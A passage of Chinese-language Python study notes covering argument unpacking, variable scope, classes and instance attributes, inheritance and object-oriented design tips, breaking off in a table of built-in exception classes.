bar=2)\n # ๆ‰“ๅฐ็ป“ๆžœ\n # 3 2 1 (5, 6, 7) {'foo': 1, 'bar': 2}\n ```\n\n\n\n### ๅˆ†้…ๅ‚ๆ•ฐ\n\n- ็ฎ€ๅ•่ฏด๏ผŒๆ„ๆ€ๅฐฑๆ˜ฏๅœจ่ฐƒ็”จๅ‡ฝๆ•ฐๆ—ถ๏ผŒไฝฟ็”จๅธฆๆ˜Ÿๅท็š„ๅ‚ๆ•ฐๅœจ่ฐƒ็”จๅ‡ฝๆ•ฐไธญใ€‚\n\n- ไฝฟ็”จๆ‹†ๅˆ†่ฟ็ฎ—็ฌฆๆฅไผ ้€’ๅ‚ๆ•ฐ๏ผˆๅˆๅฆ‚่ฐƒ็”จ่ถ…็ฑป็š„ๆž„้€ ๅ‡ฝๆ•ฐๆ—ถ๏ผ‰ๅพˆๆœ‰็”จ๏ผŒๅ› ไธบ่ฟ™ๆ ทๅฐฑๆ— ้œ€ๆ“ๅฟƒๅ‚ๆ•ฐไธชๆ•ฐไน‹็ฑป็š„้—ฎ้ข˜๏ผŒๅฆ‚ไธ‹ๆ‰€็คบ๏ผš\n\n ```python\n def foo(x, y, z, m=0, n=0):\n print(x, y, z, m, n)\n def call_foo(*args, **kwds):\n print(\"Calling foo!\")\n foo(*args, **kwds)\n \n call_foo(4,3,2,m=1)\n # ๆ‰“ๅฐ็ป“ๆžœ๏ผš\n # Calling foo!\n # 4 3 2 1 0\n ```\n\n\n\n### ไฝœ็”จๅŸŸ\n\n- ๅ˜้‡็ฉถ็ซŸๆ˜ฏไป€ไนˆ๏ผŸๅ…ถๅฎžๅฐฑๆ˜ฏไธ€ไธชๆŒ‡ๅ‘โ€œๅ€ผโ€็š„ๅ็งฐใ€‚็›ธๅฝ“ไบŽๅญ—ๅ…ธไธญโ€œ้”ฎๅ€ผๅฏนโ€้‡Œ็š„โ€œ้”ฎโ€๏ผŒ่ฟ™ไธชโ€œๅญ—ๅ…ธโ€ๅฏไปฅ็”จๅ‡ฝๆ•ฐ `vars` ๆฅ่ฐƒ็”จใ€‚๏ผˆๆณจ๏ผšไธ่ฆไฟฎๆ”น `vars` ่ฟ”ๅ›ž็š„ๅญ—ๅ…ธ๏ผ๏ผ‰\n\n- ้™คๅ…จๅฑ€ไฝœ็”จๅŸŸๅค–๏ผŒๆฏไธชๅ‡ฝๆ•ฐ่ฐƒ็”จ้ƒฝไผšๅˆ›ๅปบไธ€ไธชๆ–ฐไฝœ็”จๅŸŸ๏ผˆๆˆ–ๅซๅ‘ฝๅ็ฉบ้—ด๏ผ‰ใ€‚\n\n- ๅ‡ฝๆ•ฐไธญๅฏไปฅ้šๆ€ง่ฏปๅ–ๅ…จๅฑ€ๅ˜้‡็š„ๅ€ผ๏ผŒ**ๅช่ฆไธๆ˜ฏ้‡ๆ–ฐๅ…ณ่”ๅฎƒ๏ผˆ่ต‹ๅ€ผ๏ผ‰**๏ผŒไฝ†่ฆๅŠกๅฟ…ๆ…Ž็”จๅ…จๅฑ€ๅ˜้‡๏ผ\n\n- ๅ‡ฝๆ•ฐไธญ็š„ๅฑ€้ƒจๅ˜้‡ไผš**้ฎ็›–**ไฝๅŒๅ็š„ๅ…จๅฑ€ๅ˜้‡ใ€‚ๅฆ‚้œ€่ฆ๏ผŒๅฏไปฅ็”จๅ‡ฝๆ•ฐ `globals` ๆฅ่ฏปๅ–ๅ…จๅฑ€ๅ˜้‡็š„ๅ€ผใ€‚\n\n- ๅ‡ฝๆ•ฐไธญ่‹ฅๆƒณๅฏนๆŸๅ…จๅฑ€ๅ˜้‡**้‡ๆ–ฐๅ…ณ่”๏ผˆไฝฟๅ…ถๆŒ‡ๅ‘ๆ–ฐๅ€ผ๏ผ‰**๏ผŒๅฐฑ้œ€่ฆ `global` ๅฃฐๆ˜Žๅ‡บๆฅใ€‚\n\n ```python\n def combine(parameter):\n print(parameter + globals()['parameter'])\n def change_global():\n global x\n x += 1\n \n parameter = 'berry'\n combine('Shrub')\n x = 1\n change_global()\n # ๆ‰“ๅฐ็ป“ๆžœ\n # Shrubbery\n # 2\n ```\n\n- ไฝœ็”จๅŸŸๅตŒๅฅ—๏ผˆ็•ฅ๏ผ‰\n\n\n\n### ้€’ๅฝ’๏ผˆ็•ฅ๏ผ‰\n\n\n\n\n\n\n\n## ็ฌฌ7็ซ  ๅ†่ฐˆๆŠฝ่ฑก\n\n\n\n### ๅฏน่ฑก้ญ”ๆณ•\n\n> **ๅฏน่ฑก**ๆ„ๅ‘ณ็€ไธ€็ณปๅˆ—ๆ•ฐๆฎ๏ผˆๅฑžๆ€ง๏ผ‰ไปฅๅŠไธ€ๅฅ—่ฎฟ้—ฎๅ’Œๆ“ไฝœ่ฟ™ไบ›ๆ•ฐๆฎ็š„**ๆ–นๆณ•**ใ€‚\n\n้ขๅ‘ๅฏน่ฑก็ผ–็จ‹็š„ๅฅฝๅค„ๅคšๅคš๏ผš\n\n- **ๅคšๆ€**(polymorphism)๏ผšๅฏๅฏนไธๅŒ็ฑปๅž‹็š„ๅฏน่ฑกๆ‰ง่กŒ็›ธๅŒ็š„ๆ“ไฝœใ€‚\n\n - ไธŽๅฑžๆ€ง็›ธๅ…ณ่”็š„**ๅ‡ฝๆ•ฐ**็งฐไธบ**ๆ–นๆณ•**ใ€‚\n - ่ฏด็™ฝไบ†๏ผŒๅคšๆ€ไฝ“็Žฐๅœจๅ„็ง็ฑปๅž‹็š„ๅ˜้‡(ๅฏน่ฑก)ๆˆ–โ€œๅ€ผโ€ไธŠๅฏไปฅ็›ดๆŽฅ่ฐƒ็”จ็š„็›ธๅŒๅ‡ฝๆ•ฐใ€‚๏ผˆไนŸ็งฐไธบ**้ธญๅญ็ฑปๅž‹**๏ผ‰\n - ๅ‡ฝๆ•ฐ `repo` ๆ˜ฏๅคšๆ€็š„้›†ๅคงๆˆ่€…ไน‹ไธ€๏ผŒๅฏ็”จไบŽไปปไฝ•ๅฏน่ฑกใ€‚ๅ…ถ่ฟ”ๅ›žๆŒ‡ๅฎšๅ€ผ็š„ๅญ—็ฌฆไธฒ่กจ็คบใ€‚\n - ๅบ”ๅฐฝ้‡้ฟๅ…ไฝฟ็”จๅ‡ฝๆ•ฐๆ˜พ็คบๅœฐโ€œ็ฑปๅž‹ๆฃ€ๆŸฅโ€ๆฅ็ ดๅๅคšๆ€ใ€‚่‹ฅ่€ƒ่™‘**ๆŠฝ่ฑกๅŸบ็ฑป**ๅ’Œๆจกๅ— `abs` ๅŽ๏ผŒๅฏๅฆๅฝ“ๅˆซ่ฎบใ€‚\n\n- **ๅฐ่ฃ…**(encapsulation)๏ผšๅฏนๅค–้ƒจ้š่—ๆœ‰ๅ…ณๅทฅไฝœๅŽŸ็†็š„็ป†่Š‚ใ€‚\n\n - ่ฏด็™ฝไบ†๏ผŒๅฐ่ฃ…ไธป่ฆ่Š็š„ๆ˜ฏ**ๅฑžๆ€ง**็š„ๅฐ่ฃ…๏ผŒๅ’Œๆ–นๆณ•ไธ€ๆ ท๏ผŒๅ…ถๅฝ’ๅฑžไบŽๅฏน่ฑก็š„ๅ˜้‡๏ผŒๅฏน่ฑกๆ˜ฏ้€š่ฟ‡่ฐƒ็”จ็ฑปๅˆ›ๅปบ็š„ใ€‚\n\n - ๆฏไธชๅฏน่ฑก้ƒฝๆœ‰่‡ชๅทฑ็š„**็Šถๆ€**๏ผŒๅณไฝฟ้ƒฝ็”ฑ็›ธๅŒ็š„็ฑปไธญๅˆ›ๅปบ่€Œๆฅใ€‚ๅฏน่ฑก็š„็Šถๆ€็”ฑๅ…ถๅฑžๆ€ง๏ผˆๅฆ‚ๅ็งฐ๏ผ‰ๆ่ฟฐใ€‚ๅฏน่ฑก็š„ๆ–นๆณ•ๅฏ่ƒฝไฟฎๆ”น่ฟ™ไบ›ๅฑžๆ€ง๏ผŒๅ› ๆญคๅฏน่ฑกๅฐ†ไธ€็ณปๅˆ—ๅ‡ฝๆ•ฐ๏ผˆๆ–นๆณ•๏ผ‰็ป„ๅˆ่ตทๆฅ๏ผŒๅนถ่ต‹ไบˆๅฎƒไปฌ่ฎฟ้—ฎไธ€ไบ›ๅ˜้‡๏ผˆๅฑžๆ€ง๏ผ‰็š„็พค่ดค๏ผŒ่€Œๅฑžๆ€งๅฏ็”จไบŽๅœจไธคๆฌกๅ‡ฝๆ•ฐ่ฐƒ็”จไน‹้—ดๅญ˜ๅ‚จๅ€ผใ€‚\n\n ```python\n >>> c = ClosedObject() # ๅˆ›ๅปบไบ†ๅฏน่ฑก c (ๅฎžไพ‹ c)\n >>> c.set_name('Sir Lancelot') # ่ฐƒ็”จๅฏน่ฑก c ็š„ๆ–นๆณ• set_name\n >>> c.get_name()\t\t# ่ฐƒ็”จๅฏน่ฑก c ็š„ๆ–นๆณ• get_name\n 'Sir Lancelot'\t\t\t# ่พ“ๅ‡บไบ†ๅฑžๆ€ง(ๅฏน่ฑก็š„็Šถๆ€ไน‹ไธ€)\n >>> r = ColsedObject()\n >>> r.set_name('Sir Robin')\n >>> r.get_name()\n 'Sir Robin'\n >>> c.get_name()\t\t# ๅฏน่ฑก c ๅ’Œๅฏน่ฑก r ๅ„่‡ชๆœ‰ๅ„่‡ช็š„็Šถๆ€(ๅฑžๆ€ง)\n 'Sir Lancelot'\n ```\n\n- **็ปงๆ‰ฟ**๏ผšๅฏๅŸบไบŽ้€š็”จ็ฑปๅˆ›้€ ๅ‡บไธ“็”จ็ฑปใ€‚\n\n - ่ฏด็™ฝไบ†๏ผŒๅœจๅˆ›ๅปบๆ–ฐ็ฑป๏ผˆๅญ็ฑป๏ผ‰ๆ—ถๅฏไปฅ็ปงๆ‰ฟ๏ผˆ่ฐƒ็”จ๏ผ‰ๅ…ถไป–็ฑป๏ผˆ่ถ…็ฑป๏ผ‰ไธญ็š„ๆ–นๆณ•็ญ‰ใ€‚\n\n\n\n### ็ฑป\n\n- ๆฏไธชๅฏน่ฑก้ƒฝ**ๅฑžไบŽ**็‰นๅฎš็š„็ฑป๏ผŒๅนถ่ขซ็งฐไธบ่ฏฅ็ฑป็š„**ๅฎžไพ‹**ใ€‚\n- ็ฑป็š„ๆ‰€ๆœ‰ๅฎžไพ‹้ƒฝๆœ‰่ฏฅ็ฑป็š„ๆ‰€ๆœ‰ๆ–นๆณ•๏ผŒๅ› ๆญค**ๅญ็ฑป**็š„ๆ‰€ๆœ‰ๅฎžไพ‹้ƒฝๆœ‰**่ถ…็ฑป**็š„ๆ‰€ๆœ‰ๆ–นๆณ•ใ€‚\n- ๅœจ Python ไธญ๏ผŒ็ฑปๅ็งฐ็บฆๅฎšไฝฟ็”จๅ•ๆ•ฐๅนถๅฐ†้ฆ–ๅญ—ๆฏๅคงๅ†™๏ผŒๅฆ‚ Bird ๅ’Œ Larkใ€‚\n- ๅœจ็ฑป้‡Œ๏ผŒๆ–นๆณ•ไธญ็š„ๅ‚ๆ•ฐ `self` ๆ€ปๆ˜ฏๆŒ‡ๅ‘ๅฏน่ฑกๆœฌ่บซ๏ผŒๅƒไธ€ไธชโ€œ**้€š้…็š„ๅฏน่ฑก**โ€ไธ€ๆ ท๏ผŒๅ…ณ่”ๅˆฐๅฎƒๆ‰€ๅฑž็š„ๅฎžไพ‹ใ€‚\n\n```python\nclass Person:\n def set_name(self, name):\n self.name = name \t\t\t# ๅฑžๆ€ง self.name\n\tdef get_name(self):\n return self.name\ndef function():\n print('I don\"t have a \"self\"!')\n\n>>> foo = Person()\t\t\t\t\t# ๅˆ›ๅปบๅฏน่ฑก foo\n>>> bar = Person()\t\t\t\t\t# ๅˆ›ๅปบๅฏน่ฑก bar\n>>> foo.set_name('Luke Skywalker')\t# ๅ…ณ่”ๅฑžๆ€ง foo.name ็š„ๅ€ผไธบ 'Luke Skywalker'\n>>> bar.set_name('Anakin Skywalker')# ๅ…ณ่”ๅฑžๆ€ง bar.name ็š„ๅ€ผไธบ 'Anakin Skywalker'\n>>> foo.get_name()\n'Luke Skywalker'\n>>> bar.get_name()\n'Anakin Skywalker'\n>>> bar.get_name = function\t\t\t# ๅฏไปฅๅฐ†ๅฑžๆ€งๅ…ณ่”ๅˆฐๆ™ฎ้€š็š„ๅ‡ฝๆ•ฐไธŠ๏ผŒๆญคๆ—ถๆฒกๆœ‰็‰นๆฎŠ็š„ self ๅ‚ๆ•ฐ\n>>> bar.get_name()\n\"I don't have a 'self'!\"\n```\n\n- ่ฆ่ฎฉ**ๆ–นๆณ•ๆˆ–ๅฑžๆ€ง**ๆˆไธบ**็งๆœ‰็š„**๏ผˆไธ่ƒฝไปŽๅค–้ƒจ่ฎฟ้—ฎ๏ผ‰๏ผŒๅช้œ€่ฎฉๅ…ถๅ็งฐไปฅไธคไธชไธ‹ๅˆ’็บฟๆ‰“ๅคดๅณๅฏใ€‚ไฝ†ไปๅฏไปŽ็ฑปๅค–่ฎฟ้—ฎ็งๆœ‰ๆ–นๆณ•๏ผŒๅณๅน•ๅŽๅ…ถๅฎžๆ˜ฏไฟฎๆ”นไบ†ๅ…ถๅ็งฐใ€‚\n\n- ๅฆ‚ๆžœๆƒณๅ็งฐไธ่ขซไฟฎๆ”น๏ผŒไนŸๆƒณๅ‘Š่ฏซๅˆซไบบไธ่ฆไปŽ็ฑปๅค–ๅ‘ๅ‡บ่ฎฟ้—ฎ่ฏทๆฑ‚๏ผŒ่ฎฉๅ…ถๅ็งฐไปฅไธ€ไธชไธ‹ๅˆ’็บฟๆ‰“ๅคดๅณๅฏใ€‚่™ฝๆ˜ฏ็บฆๅฎš๏ผŒไฝ†่ฟ˜ๆ˜ฏๆœ‰ไฝœ็”จ็š„๏ผŒๅฆ‚๏ผš`from module import *` ๅฐฑไธไผšๅฏผๅ…ฅไปฅไธ€ไธชไธ‹ๅˆ’็บฟๆ‰“ๅคด็š„ๅ็งฐใ€‚\n\n- ็ฑป็š„ๅ‘ฝๅ็ฉบ้—ด่Œƒๅ›ดๅ†…ๆ‰€ๅฎšไน‰็š„ๅ˜้‡๏ผŒๆ‰€ๆœ‰็š„ๅฎžไพ‹้ƒฝๅฏๅƒๆ–นๆณ•ไธ€ๆ ท่ฎฟ้—ฎๅฎƒ๏ผ\n\n ```python\n class MemberCounter():\n members = 0\n member_s = 0\n def init(self):\n MemberCounter.members += 1\n self.member_s += 1\n \n m1 = MemberCounter()\n print(MemberCounter.members, MemberCounter.member_s, m1.members, m1.member_s)\n m1.init()\n print(MemberCounter.members, MemberCounter.member_s, m1.members, m1.member_s)\n print(MemberCounter.members is m1.members)\t# ็›ธๅŒ็š„ไธคไธชๅ˜้‡\n \n m2 = MemberCounter()\n print(MemberCounter.members, MemberCounter.member_s, m2.members, m2.member_s)\n m2.init()\n print(MemberCounter.members, MemberCounter.member_s, m2.members, m2.member_s)\n print(MemberCounter.members is m2.members)\t# ็›ธๅŒ็š„ไธคไธชๅ˜้‡\n \n # ๆ‰“ๅฐ็ป“ๆžœ\n # 0 0 0 0\n # 1 0 1 1\n # True\n # 1 0 1 0\n # 2 0 2 1\n # True\n ```\n\n ่™ฝ็„ถ `members` ๅ’Œ `members_s` ้ƒฝๆ˜ฏๅœจ็ฑปไฝœ็”จๅŸŸๅ†…ๅฎšไน‰็š„ๅ˜้‡๏ผŒไฝ†ๆ˜ฏ็ป่ฟ‡ไธๅŒๅˆๅง‹ๅŒ–ๆ“ไฝœๅŽ็š„่กจ็Žฐๅคงๆœ‰ไธๅŒใ€‚ๅฏนไบŽ `members` ๆฅ่ฏด๏ผŒๅˆๅง‹ๅŒ–้ƒฝๆ˜ฏ้’ˆๅฏนๅ…ถ็›ธๅฏนไบŽ็ฑป `MemberCounter` ็š„ๅฑžๆ€งๆ“ไฝœ๏ผŒๆ‰€ไปฅๆ นๆฎ็ฌฌไธ€ๅˆ—ๅ’Œ็ฌฌไธ‰ๅˆ—็š„่กจ็Žฐ็œ‹ๆฅ๏ผŒไธ่ฎบๆ˜ฏ `MemberCounter.members` ่ฟ˜ๆ˜ฏๅœจๅฎžไพ‹ไธŠๅฏนๆญคๅฑžๆ€ง็š„่ฎฟ้—ฎ่กจ็Žฐ้ƒฝๆ˜ฏไธ€่‡ด็š„๏ผŒ่€Œไธ”ๆ˜ฏ**็›ธๅŒ**ไธ”**็›ธ็ญ‰**็š„๏ผ›ๅฏนไบŽ `members_s` ๆฅ่ฏด๏ผŒๅˆๅง‹ๅŒ–ๆ—ถๅฐฑๅ…ณ่”ๅˆฐไบ†ๆ–ฐ็š„็›ธๅฏนไบŽ**ๅฎžไพ‹**็š„ๅฑžๆ€งๅ˜้‡ `self.member_s`๏ผŒๆ‰€ไปฅๆ นๆฎ็ฌฌไบŒๅˆ—ๅ’Œ็ฌฌๅ››ๅˆ—็š„่กจ็Žฐ็œ‹ๆฅ๏ผŒๅˆๅง‹ๅŒ–ๅนถๆฒกๆœ‰ๅฝฑๅ“็ฑป็š„ `MemberCounter.member_s` ๅ˜้‡๏ผŒ่€Œ`self.member_s` ๆ˜ฏไพ่ต–ๅฏน่ฑกๅฎžไพ‹็š„ใ€‚\n\n ๅœจ็ฑปๅค–็ป™ๅฑžๆ€ง๏ผˆไธ่ฎบๆ˜ฏ็ฑป็š„๏ผŒ่ฟ˜ๆ˜ฏๅฎžไพ‹็š„๏ผ‰่ต‹ๅ€ผ็š„ๆ—ถๅ€™๏ผŒ่ฆ็•™ๆ„๏ผš\n\n ```python\n # ๅฏน็ฑป็š„ๅฑžๆ€ง่ต‹ๅ€ผ\n MemberCounter.members = 'Two'\n print(m1.members, m2.members)\t# ๅฐ†ไผšๆŠŠๅฎšไน‰ๅœจ็ฑปไธŠ็š„ๅฑžๆ€ง(ๆ‰€ๆœ‰ๅฎžไพ‹้‡Œ)้ƒฝไผš่ขซ่ต‹ๅ€ผ\n MemberCounter.member_s = 'One'\n print(m1.member_s, m2.member_s)\t# ๅ…ณ่”ๅœจๅฎžไพ‹ไธŠ็š„ๅฑžๆ€งไธไผš่ขซๅฝฑๅ“\n \n # ๆ‰“ๅฐ็ป“ๆžœ\n # Two Two\n # 1 1\n ```\n\n ```python\n # ๅฏนๅฎžไพ‹็š„ๅฑžๆ€ง่ต‹ๅ€ผ\n m1.members = 'Two'\t\t\t\t# ๅœจๅฎžไพ‹ไธŠๅฏน็ฑป็š„ๅฑžๆ€ง่ต‹ๅ€ผๅŽ๏ผŒ\n print(m1.members, m2.members)\t# ๅฐ†ไผš้ฎไฝ็ฑป็บงๅ˜้‡๏ผŒๆ–ฐๅ€ผ่ขซๅ†™ๅ…ฅๅˆฐ็›ธๅบ”ๅฎžไพ‹ไธŠใ€‚\n m2.member_s = 'One'\n print(m1.member_s, m2.member_s)\t# ๆ–ฐๅ€ผ่ขซๅ†™ๅ…ฅๅˆฐ็›ธๅบ”ๅฎžไพ‹ไธŠใ€‚\n \n # ๆ‰“ๅฐ็ป“ๆžœ\n # Two 2\n # 1 One\n ```\n\n- ๅ…ณไบŽ่ถ…็ฑป็š„็ปงๆ‰ฟ๏ผŒๅพˆๆœ‰่ถฃ็š„ไธ€็‚นๅฐฑๆ˜ฏๅฑžๆ€งๅฏไปฅๅœจ่ฟžๆŽฅ่ตทๆฅ็š„็ฑปๅฎšไน‰ๅ†…ไธๅ—้™็š„่ฎฟ้—ฎใ€‚\n\n ```python\n class Filter:\n def init(self):\n self.blocked = []\n def filter(self, sequence):\n self.filtered = [x for x in sequence if x not in self.blocked]\n print(self.filtered)\n \n class SPAMFilter(Filter):\t# SPAMFilter ๆ˜ฏ Filter ็š„ๅญ็ฑป\n def init(self):\t\t\t# ้‡ๅ†™่ถ…็ฑป Filter ็š„ๆ–นๆณ• init\n self.blocked = ['SPAM']\n def count_num(self):\n print(len(self.filtered))\t# ่ฎฟ้—ฎไบ†็ฑป Filter ๅ†…็š„ๅฑžๆ€ง\n \n class SPAMFilter_count(SPAMFilter,Filter):\t\n # ๅคš้‡็ปงๆ‰ฟ๏ผšๅ่ฝฌ่ถ…็ฑป็š„ๆŽ’ๅบไผšๅ‡บ้”™๏ผŒๅ› ไธบๅฎƒไปฌไธญ็›ธๅŒ็š„ๅ‡ฝๆ•ฐ init ๆ˜ฏๆœ‰ๅญ็ฑป็ปงๆ‰ฟ้กบๅบ็š„ใ€‚\n pass\n \n s = SPAMFilter_count()\n s.init()\n s.filter(['SPAM', 'SPAM', 'eggs', 'SPAM', 'bacon'])\n s.count_num()\n \n # ๆ‰“ๅฐ็ป“ๆžœ\n # ['eggs', 'bacon']\n # 2\n ```\n\n- ็”จ Python ๅ†…็ฝฎ็š„ๆ–นๆณ• `issubclass` ่€ƒๅฏŸไธ€ไธช็ฑปๆ˜ฏๅฆๆ˜ฏๅฆไธ€ไธช็ฑป็š„ๅญ็ฑป๏ผ›\n\n- ่ฎฟ้—ฎ็ฑปๅ†…็š„็‰นๆฎŠๅฑžๆ€ง `__bases__` ๅฏๅพ—็Ÿฅๅ…ถๅŸบ็ฑป๏ผ›\n\n- ็”จๅ‡ฝๆ•ฐ `isinstance` ๆฅ็กฎๅฎšๅฏน่ฑกๆ˜ฏๅฆๆ˜ฏ็‰นๅฎš็ฑป็š„ๅฎžไพ‹๏ผˆ้€šๅธธไธ็”จ๏ผŒไผšๅฝฑๅ“ๅคšๆ€๏ผ‰๏ผ›ไนŸๅฏไปฅ้€š่ฟ‡่ฎฟ้—ฎๅฏน่ฑก็š„ๅฑžๆ€ง `__class__` ๅพ—็Ÿฅๅฏน่ฑกๅฑžไบŽๅ“ชไธช็ฑปใ€‚\n\n- ๅœจ Python ไธญ๏ผŒไธๆ˜พๅผๅœฐๆŒ‡ๅฎšๅฏน่ฑกๅฟ…้กปๅŒ…ๅซๅ“ชไบ›ๆ–นๆณ•ๆ‰่ƒฝ็”จไฝœๅ‚ๆ•ฐใ€‚ๆ‰€ไปฅๆฃ€ๆŸฅๆŸๅฏน่ฑกๆ‰€้œ€็š„ๆ–นๆณ•ๆ˜ฏๅฆๅญ˜ๅœจ๏ผŒๅฏ็”จๅ‡ฝๆ•ฐ `hasattr`๏ผŒ`getattr` ไธŽ `callable` ใ€‚ไนŸๅฏๆฃ€ๆŸฅๅ…ถ `__dict__` ๅฑžๆ€ง๏ผŒๅพ—ๅˆฐๅฏน่ฑกไธญๅ‚จๅญ˜็š„ๆ‰€ๆœ‰ๅ€ผใ€‚ๆ›ดๅคš่ฏฆๆƒ…ๅทฒ็•ฅใ€‚\n\n\n\n### ๆŠฝ่ฑกๅŸบ็ฑป๏ผˆ็•ฅ๏ผ‰\n\n- ๆŠฝ่ฑกๅŸบ็ฑป็”จไบŽๆŒ‡ๅฎšๅญ็ฑปๅฟ…้กปๆไพ›ๅ“ชไบ›ๅŠŸ่ƒฝ๏ผŒๅดไธๅฎž็Žฐ่ฟ™ไบ›ๅŠŸ่ƒฝใ€‚\n\n\n\n### ๅ…ณไบŽ้ขๅ‘ๅฏน่ฑก่ฎพ่ฎก็š„ไธ€ไบ›ๆ€่€ƒ\n\n- Tips๏ผš\n\n - ๅฐ†็›ธๅ…ณ็š„ไธœ่ฅฟๆ”พๅœจไธ€่ตทใ€‚ๅฆ‚ๆžœไธ€ไธชๅ‡ฝๆ•ฐๆ“ไฝœไธ€ไธช**ๅ…จๅฑ€ๅ˜**้‡๏ผŒๆœ€ๅฅฝๅฐ†ๅฎƒไปฌ**ไฝœไธบไธ€ไธช็ฑป็š„ๅฑžๆ€งๅ’Œๆ–นๆณ•**ใ€‚\n - ไธ่ฆ่ฎฉๅฏน่ฑกไน‹้—ด่ฟ‡ไบŽไบฒๅฏ†ใ€‚**ๆ–นๆณ•ๅบ”ๅชๅ…ณๅฟƒๅ…ถๆ‰€ๅฑžๅฎžไพ‹็š„ๅฑžๆ€ง**๏ผŒๅฏนไบŽๅ…ถไป–ๅฎžไพ‹็š„็Šถๆ€๏ผŒ่ฎฉๅฎƒไปฌ่‡ชๅทฑๅŽป็ฎก็†ๅฐฑๅฅฝไบ†ใ€‚\n - **ๆ…Ž็”จ็ปงๆ‰ฟ**๏ผŒๅฐคๅ…ถๆ˜ฏๅคš้‡็ปงๆ‰ฟใ€‚็ปงๆ‰ฟๆœ‰ๆ—ถๅพˆๆœ‰็”จ๏ผŒไฝ†ๅœจๆœ‰ไบ›ๆƒ…ๅ†ตไธ‹ๅฏ่ƒฝๅธฆๆฅไธๅฟ…่ฆ็š„ๅคๆ‚ๆ€งใ€‚่ฆๆญฃ็กฎๅœฐไฝฟ็”จๅคš้‡็ปงๆ‰ฟๅพˆ้šพ๏ผŒ่ฆๆŽ’้™คๅ…ถไธญ็š„ bug ๆ›ด้šพใ€‚\n - ไฟๆŒ็ฎ€ๅ•ใ€‚**่ฎฉๆ–นๆณ•็Ÿญๅฐ็ดงๅ‡‘**ใ€‚ไธ€่ˆฌ่€Œ่จ€๏ผŒๅบ”็กฎไฟๅคงๅคšๆ•ฐๆ–นๆณ•้ƒฝ่ƒฝๅœจ30็ง’ๅ†…่ฏปๅฎŒๅนถ็†่งฃใ€‚ๅฏนไบŽๅ…ถไฝ™็š„ๆ–นๆณ•๏ผŒๅฐฝๅฏ่ƒฝๅฐ†ๅ…ถ็ฏ‡ๅน…ๆŽงๅˆถๅœจไธ€้กตๆˆ–ไธ€ๅฑๅ†…ใ€‚\n\n- ็กฎๅฎš้œ€่ฆๅ“ชไบ›็ฑปๅ’Œ็›ธๅบ”็š„ๆ–นๆณ•ๆ—ถ๏ผš\n\n 1. ๅฐ†ๆœ‰ๅ…ณ้—ฎ้ข˜็š„ๆ่ฟฐ๏ผˆ็จ‹ๅบ้œ€่ฆๅšไป€ไนˆ๏ผ‰่ฎฐๅฝ•ไธ‹ๆฅ๏ผŒๅนถ็ป™ๆ‰€ๆœ‰็š„ๅ่ฏใ€ๅŠจ่ฏๅ’Œๅฝขๅฎน่ฏๅŠ ไธŠๆ ‡่ฎฐใ€‚\n 2. ๅœจๅ่ฏไธญๆ‰พๅ‡บๅฏ่ƒฝ็š„็ฑปใ€‚\n 3. ๅœจๅŠจ่ฏไธญๆ‰พๅ‡บๅฏ่ƒฝ็š„ๆ–นๆณ•ใ€‚\n 4. ๅœจๅฝขๅฎน่ฏไธญๆ‰พๅ‡บๅฏ่ƒฝ็š„ๅฑžๆ€งใ€‚\n 5. ๅฐ†ๆ‰พๅ‡บ็š„ๆ–นๆณ•ๅ’Œๅฑžๆ€งๅˆ†้…็ป™ๅ„ไธช็ฑปใ€‚\n\n- ๆœ‰ไบ†**้ขๅ‘ๅฏน่ฑกๆจกๅž‹**็š„่‰ๅ›พๅŽ๏ผŒ่ฟ˜้œ€่€ƒ่™‘็ฑปๅ’Œๅฏน่ฑกไน‹้—ด็š„ๅ…ณ็ณป๏ผˆๅฆ‚็ปงๆ‰ฟๆˆ–ๅไฝœ๏ผ‰ไปฅๅŠไป–ไปฌ็š„่Œ่ดฃใ€‚\n\n ่ฟ›ไธ€ๆญฅๆ”น่ฟ›ๆจกๅž‹็š„ๅŠžๆณ•๏ผš\n\n 1. ่ฎฐๅฝ•๏ผˆๆˆ–่ฎพๆƒณ๏ผ‰ไธ€็ณปๅˆ—**็”จไพ‹**๏ผŒๅณไฝฟ็”จ็จ‹ๅบ็š„ๅœบๆ™ฏ๏ผŒๅนถๅฐฝๅŠ›็กฎไฟ่ฟ™ไบ›็”จไพ‹ๆถต็›–ไบ†ๆ‰€ๆœ‰็š„ๅŠŸ่ƒฝใ€‚\n 2. ้€ๅฝป่€Œไป”็ป†ๅœฐ่€ƒ่™‘ๆฏไธชๅœบๆ™ฏ๏ผŒ็กฎไฟๆจกๅž‹ๅŒ…ๅซไบ†ๆ‰€้œ€็š„ไธ€ๅˆ‡ใ€‚ๅฆ‚ๆžœๆœ‰้—ๆผ๏ผŒๅฐฑๅŠ ไธŠ๏ผ›ๅฆ‚ๆžœๆœ‰ไธๅคชๅฏน็š„ๅœฐๆ–น๏ผŒๅฐฑไฟฎๆ”นใ€‚ไธๆ–ญๅœฐ้‡ๅค่ฟ™ไธช่ฟ‡็จ‹๏ผŒ็›ดๅˆฐๅฏนๆจกๅž‹ๆปกๆ„ไธบๆญขใ€‚\n\n ๆœ‰ไบ†ไฝ ่ฎคไธบ่กŒไน‹ๆœ‰ๆ•ˆ็š„ๆจกๅž‹ๅŽ๏ผŒๅฐฑๅฏไปฅ็€ๆ‰‹็ผ–ๅ†™็จ‹ๅบไบ†ใ€‚\n\n\n\n\n\n\n\n## ็ฌฌ8็ซ  ๅผ‚ๅธธ\n\n\n\n### ่ฎฉไบ‹ๆƒ…ๆฒฟ็€ไฝ ๆŒ‡ๅฎš็š„่ฝจ้“ๅ‡บ้”™๏ผ\n\n- ไฝฟ็”จ `raise` ่ฏญๅฅๆฅๅผ•ๅ‘ๅผ‚ๅธธ๏ผŒๅนถๅฐ†ไธ€ไธช็ฑป๏ผˆๅฟ…้กปๆ˜ฏ`Exception` ็š„ๅญ็ฑปๆˆ–ๅฎžไพ‹ไฝœไธบๅ‚ๆ•ฐ๏ผ‰ใ€‚\n\n ๅฆ‚๏ผš`raise Exception('hyperdrive overload')`\n\n- ๆœ€้‡่ฆ็š„ๅ‡ ไธชๅ†…็ฝฎ็š„ๅผ‚ๅธธ็ฑป\n\n| ็ฑปๅ | ๆ่ฟฐ |\n| ------------------: | :----------------------------------------------------------- |\n| `Exception` | ๅ‡ ไนŽๆ‰€ๆœ‰็š„ๅผ‚ๅธธ็ฑป้ƒฝๆ˜ฏไปŽๅฎƒๆดพ็”Ÿ่€Œๆฅ็š„ |\n| `AttributeError` | ๅผ•็”จๅฑžๆ€งๆˆ–็ป™ๅฎƒ่ต‹ๅ€ผๅคฑ่ดฅๆ—ถๅผ•ๅ‘ |\n| `OSError` | 